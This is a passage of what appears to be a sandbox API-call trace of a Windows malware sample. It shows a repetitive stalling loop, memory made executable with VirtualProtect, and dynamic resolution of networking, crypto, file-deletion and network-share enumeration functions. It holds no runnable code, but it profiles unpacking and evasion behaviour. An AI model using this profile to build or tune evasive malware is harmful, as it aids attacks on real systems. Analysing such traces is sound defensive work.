wProcessorRevision=0x5e03)) [0056.954] GetMessageTime () returned 0 [0056.954] GetLastError () returned 0x578 [0056.954] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.954] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.954] GetMessageTime () returned 0 [0056.954] GetLastError () returned 0x578 [0056.954] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.954] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.954] GetMessageTime () returned 0 [0056.954] GetLastError () returned 0x578 [0056.954] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.954] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.954] GetMessageTime () returned 0 [0056.954] GetLastError () returned 0x578 [0056.954] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.954] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.954] GetMessageTime () returned 0 [0056.954] GetLastError () returned 0x578 [0056.955] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.955] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.955] GetMessageTime () returned 0 [0056.955] GetLastError () returned 0x578 [0056.955] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.955] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.955] GetMessageTime () returned 0 [0056.955] GetLastError () returned 0x578 [0056.955] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.955] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.955] GetMessageTime () returned 0 [0056.955] GetLastError () returned 0x578 [0056.955] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.955] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.955] GetMessageTime () returned 0 [0056.955] GetLastError () returned 0x578 [0056.955] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.955] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.955] GetMessageTime () returned 0 [0056.955] GetLastError () returned 0x578 [0056.955] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.955] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.955] GetMessageTime () returned 0 [0056.955] GetLastError () returned 0x578 [0056.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.956] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.956] GetMessageTime () returned 0 [0056.956] GetLastError () returned 0x578 [0056.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.956] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.956] GetMessageTime () returned 0 [0056.956] GetLastError () returned 0x578 [0056.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.956] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.956] GetMessageTime () returned 0 [0056.956] GetLastError () returned 0x578 [0056.956] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.956] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0059.043] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x633fd8 [0059.092] LocalAlloc (uFlags=0x0, uBytes=0x44e2c) returned 0x678e10 [0059.100] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0059.101] VirtualProtect (in: lpAddress=0x678e10, dwSize=0x33aa1, flNewProtect=0x40, lpflOldProtect=0x18e190 | out: lpflOldProtect=0x18e190*=0x4) returned 1 [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0059.116] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0059.116] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0059.116] SetErrorMode (uMode=0x400) returned 0x8001 [0059.116] SetErrorMode (uMode=0x0) returned 0x400 [0059.116] GetVersionExA (in: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18cc10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.116] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0059.127] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18dc98 | out: lpflOldProtect=0x18dc98*=0x2) returned 1 [0059.174] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.176] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0059.176] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0059.176] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0059.176] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0059.176] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0059.176] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0059.176] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0059.198] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0059.198] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0059.198] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0059.198] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0059.238] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0059.238] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0059.238] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0059.238] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0059.238] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0059.238] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0059.238] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0059.239] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0059.240] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0059.240] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0059.240] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0059.240] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0059.241] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0059.241] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0059.241] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0059.241] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0059.241] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0059.241] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0059.241] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0059.242] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0059.243] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0059.244] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0059.245] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0059.246] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0059.247] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0059.248] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0059.249] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0059.250] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0059.250] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0059.250] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0059.250] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0059.250] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0059.250] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0059.251] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0059.251] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0059.251] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0059.251] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0059.251] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0059.251] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0059.251] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0059.251] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0059.251] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0059.251] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0059.251] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0059.251] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0059.251] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0059.251] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0059.252] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 